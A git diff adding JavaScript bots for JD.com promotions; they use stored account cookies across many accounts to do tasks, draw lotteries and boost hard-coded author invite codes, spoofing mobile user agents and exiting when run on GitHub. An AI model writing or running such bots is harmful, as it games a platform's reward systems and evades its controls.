"Referer": "https://rdcseason.m.jd.com", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.code === 200) { + $.integralCount = data.data.integralCount; + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +//查询今日累计积分与排名 +function getListRank() { + return new Promise(resolve => { + const options = { + "url": `${JD_API_HOST}task/listRank?t=${Date.now()}`, + "headers": { + "Host": "rdcseason.m.jd.com", + "Accept": "application/json, text/plain, */*", + "Connection": "keep-alive", + "Cookie": cookie, + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", + "Accept-Language": "zh-cn", + "Referer": "https://rdcseason.m.jd.com", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.code === 200) { + if (data.data.my) { + $.integer = data.data.my.integer; + $.num = data.data.my.num; + } + if (data.data.last) { + $.lasNum = data.data.last.num; + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function updateShareCodes(url = 'https://raw.githubusercontent.com/xxxx/updateTeam/master/jd_shareCodes.json') { + return new Promise(resolve => { + $.get({url}, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + } else { + $.updatePkActivityIdRes = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function updateShareCodesCDN(url = 'https://cdn.jsdelivr.net/gh/gitupdate/updateTeam@master/shareCodes/jd_shareCodes.json') { + return new Promise(resolve => { + $.get({url , headers:{"User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('../USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1")}}, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + $.updatePkActivityIdRes = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1" + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +async function showMsg() { + let nowTime = new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000; + if (nowTime > new Date(activeEndTime).getTime()) { + $.msg($.name, '活动已结束', `该活动累计获得京豆:${$.jbeanCount}个\n请删除此脚本\n咱江湖再见`); + if ($.isNode()) await notify.sendNotify($.name + '活动已结束', `请删除此脚本\n咱江湖再见`) + } else { + $.msg($.name, `京东账号${$.index} ${$.nickName || $.UserName}`, `${$.jbeanCount ? `${$.integer ? `当前获得积分:${$.integer}个\n` : ''}${$.num ? `当前排名:${$.num}\n` : ''}当前参赛人数:${$.lasNum}人\n累计获得京豆:${$.jbeanCount}个🐶\n` : ''}${$.jbeanCount ? `累计获得积分:${$.integralCount}个\n` : ''}${$.jbeanNum ? `${$.date}日奖品:${$.jbeanNum}\n` : ''}具体详情点击弹窗跳转后即可查看`, {"open-url": "https://rdcseason.m.jd.com/#/hame"}); + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_apple_live.js b/activity/jd_apple_live.js new file mode 100644 index 0000000..27fa552 --- /dev/null +++ b/activity/jd_apple_live.js @@ -0,0 +1,417 @@ +/* +苹果抽奖机 +脚本会给内置的码进行助力 +活动于2020-12-14日结束 +活动地址:https://h5.m.jd.com/babelDiy/Zeus/2zwQnu4WHRNfqMSdv69UPgpZMnE2/index.html/ +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#苹果抽奖机 +10 0 * * * jd_apple_live.js, tag=苹果抽奖机, enabled=true + +================Loon============== +[Script] +cron "10 0 * * *" script-path=jd_apple_live.js,tag=苹果抽奖机 + +===============Surge================= +苹果抽奖机 = type=cron,cronexp="10 0 * * *",wake-system=1,timeout=3600,script-path=jd_apple_live.js + +============小火箭========= +苹果抽奖机 = type=cron,script-path=jd_apple_live.js, cronexpr="10 0 * * *", timeout=3600, enable=true + */ +const $ = new Env('苹果抽奖机'); + +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +const randomCount = $.isNode() ? 20 : 5; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +const inviteCodes = [`P04z54XCjVUm4aW5nJcXCCyoR8C6s-kRmWs@P04z54XCjVUm4aW5m9cZ2bx3y5Ow@P04z54XCjVUm4aW5u2ak7ZCdan1BeYMuZ9HwF34gJjW@P04z54XCjVUm4aW5m9cZ2T6jChKkkjZEdhiKUY`, `P04z54XCjVUm4aW5nJcXCCyoR8C6s-kRmWs@P04z54XCjVUm4aW5m9cZ2bx3y5Ow`]; +!(async () => { + await requireConfig(); + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await shareCodesFormat(); + await jdHealth() + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function jdHealth() { + await helpFriends(); + await jdapple_getTaskDetail(); + await doTask(); + await jdapple_getTaskDetail(0); + if($.userInfo.scorePerLottery<=$.userInfo.userScore){ + console.log(`当前用户金币: ${$.userInfo.userScore},抽奖需要${$.userInfo.scorePerLottery},开始抽奖`) + message += `当前用户金币: ${$.userInfo.userScore},抽奖需要${$.userInfo.scorePerLottery},开始抽奖\n` + for(let i=0;i { + if (!jdNotify) { + $.msg($.name, '', `${message}`); + } else { + $.log(`京东账号${$.index}${$.nickName}\n${message}`); + } + if (new Date().getHours() === 23) { + $.msg($.name, '', `京东账号${$.index}${$.nickName}\n${message}`); + } + resolve() + }) +} +async function helpFriends() { + for (let code of $.newShareCodes) { + if (!code) continue + const helpRes = await jdapple_collectScore(code,6,null); + if (helpRes.code === 0 && helpRes.data.bizCode === -7) { + console.log(`助力机会已耗尽,跳出`); + break + } + } +} +async function doTask() { + for (let item of $.taskVos) { + if (item.taskType === 9||item.taskType === 26) { + //逛会场任务 + if (item.status === 1) { + console.log(`准备做此任务:${item.taskName}`) + for (let task of item.shoppingActivityVos) { + if (task.status === 1) { + await jdapple_collectScore(task.taskToken,item.taskId,task.itemId,1); + await $.wait(6500) + await jdapple_collectScore(task.taskToken,item.taskId,task.itemId,0); + } + } + } else if(item.status!==4){ + console.log(`${item.taskName}已做完`) + } + } + if (item.taskType === 8) { + // 浏览商品任务 + if (item.status === 1) { + console.log(`准备做此任务:${item.taskName}`) + for (let task of item.productInfoVos) { + if (task.status === 1) { + await jdapple_collectScore(task.taskToken,item.taskId,task.itemId,1); + await $.wait(15000) + await jdapple_collectScore(task.taskToken,item.taskId,task.itemId,0); + } + } + } else if(item.status!==4){ + console.log(`${item.taskName}已做完`) + } + } + + if (item.taskType === 1) { + // 关注任务 + if (item.status === 1) { + console.log(`准备做此任务:${item.taskName}`) + for (let task of item.followShopVo) { + if (task.status === 1) { + console.log(`去关注 ${task.shopName}`) + await jdapple_collectScore(task.taskToken,item.taskId,task.itemId,1); + await $.wait(1000) + await jdapple_collectScore(task.taskToken,item.taskId,task.itemId,0); + } + } + } else if(item.status!==4){ + console.log(`${item.taskName}已做完`) + } + } + + } +} + +//领取做完任务的奖励 +function jdapple_collectScore(taskToken, taskId, itemId, actionType=0) { + return new Promise(resolve => { + let body = { "appId":"1EFRTxw","taskToken":taskToken,"taskId":taskId,"itemId":itemId,"actionType":actionType } + $.post(taskPostUrl("harmony_collectScore", body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if(data.data.bizCode === 1){ + console.log(`任务领取成功`); + message += `任务领取成功\n` + } + else if (data.data.bizCode === 0) { + if(data.data.result.taskType===6){ + console.log(`助力好友:${data.data.result.itemId}成功!`) + message += `助力好友:${data.data.result.itemId}成功!\n` + }else { + console.log(`任务完成成功`); + } + + } else { + console.log(`${data.data.bizMsg}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +// 抽奖 +function jdapple_getLottery() { + return new Promise(resolve => { + let body = { "appId":"1EFRTxw"} + $.post(taskPostUrl("interact_template_getLotteryResult", body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.bizCode === 0) { + console.log(`抽奖成功,获得:${JSON.stringify(data.data.result.userAwardsCacheDto)}`); + message+= `抽奖成功,获得:${JSON.stringify(data.data.result.userAwardsCacheDto)}\n` + } else { + console.log(JSON.stringify(data)) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function jdapple_getTaskDetail(get=1) { + return new Promise(resolve => { + $.post(taskPostUrl("healthyDay_getHomeData", {"appId":"1EFRTxw","taskToken":""}, ), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.bizCode === 0) { + $.taskVos = data.data.result.taskVos;//任务列表 + $.userInfo = data.data.result.userInfo; + if(get) + $.taskVos.map(item => { + if (item.taskType === 14) { + console.log(`\n您的${$.name}好友助力邀请码:${item.assistTaskDetailVo.taskToken}\n`) + message += `\n您的${$.name}好友助力邀请码:${item.assistTaskDetailVo.taskToken}\n` + } + }) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function readShareCode() { + console.log(`开始`) + return new Promise(async resolve => { + $.get({url: `http://api.turinglabs.net/api/v1/jd/jdapple/read/${randomCount}/`}, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + console.log(`随机取${randomCount}个码放到您固定的互助码后面(不影响已有固定互助)`) + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + // await $.wait(2000); + // resolve() + }) +} +//格式化助力码 +function shareCodesFormat() { + return new Promise(async resolve => { + // console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`) + $.newShareCodes = []; + if ($.shareCodesArr[$.index - 1]) { + $.newShareCodes = $.shareCodesArr[$.index - 1].split('@'); + } else { + console.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码\n`) + const tempIndex = $.index > inviteCodes.length ? (inviteCodes.length - 1) : ($.index - 1); + $.newShareCodes = inviteCodes[tempIndex].split('@'); + } + const readShareCodeRes = null //await readShareCode(); + if (readShareCodeRes && readShareCodeRes.code === 200) { + $.newShareCodes = [...new Set([...$.newShareCodes, ...(readShareCodeRes.data || [])])]; + } + console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify($.newShareCodes)}`) + resolve(); + }) +} +function requireConfig() { + return new Promise(resolve => { + console.log(`开始获取${$.name}配置文件\n`); + //Node.js用户请在jdCookie.js处填写京东ck; + const shareCodes = [] //$.isNode() ? require('./jdSplitShareCodes.js') : ''; + console.log(`共${cookiesArr.length}个京东账号\n`); + $.shareCodesArr = []; + if ($.isNode()) { + Object.keys(shareCodes).forEach((item) => { + if (shareCodes[item]) { + $.shareCodesArr.push(shareCodes[item]) + } + }) + } + console.log(`您提供了${$.shareCodesArr.length}个账号的${$.name}助力码\n`); + resolve() + }) +} + +function taskPostUrl(function_id, body = {}, function_id2) { + let url = `${JD_API_HOST}`; + if (function_id2) { + url += `?functionId=${function_id2}`; + } + return { + url, + body: `functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=9.1.0`, + headers: { + "Cookie": cookie, + "origin": "https://h5.m.jd.com", + "referer": "https://h5.m.jd.com/", + 'Content-Type': 'application/x-www-form-urlencoded', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return 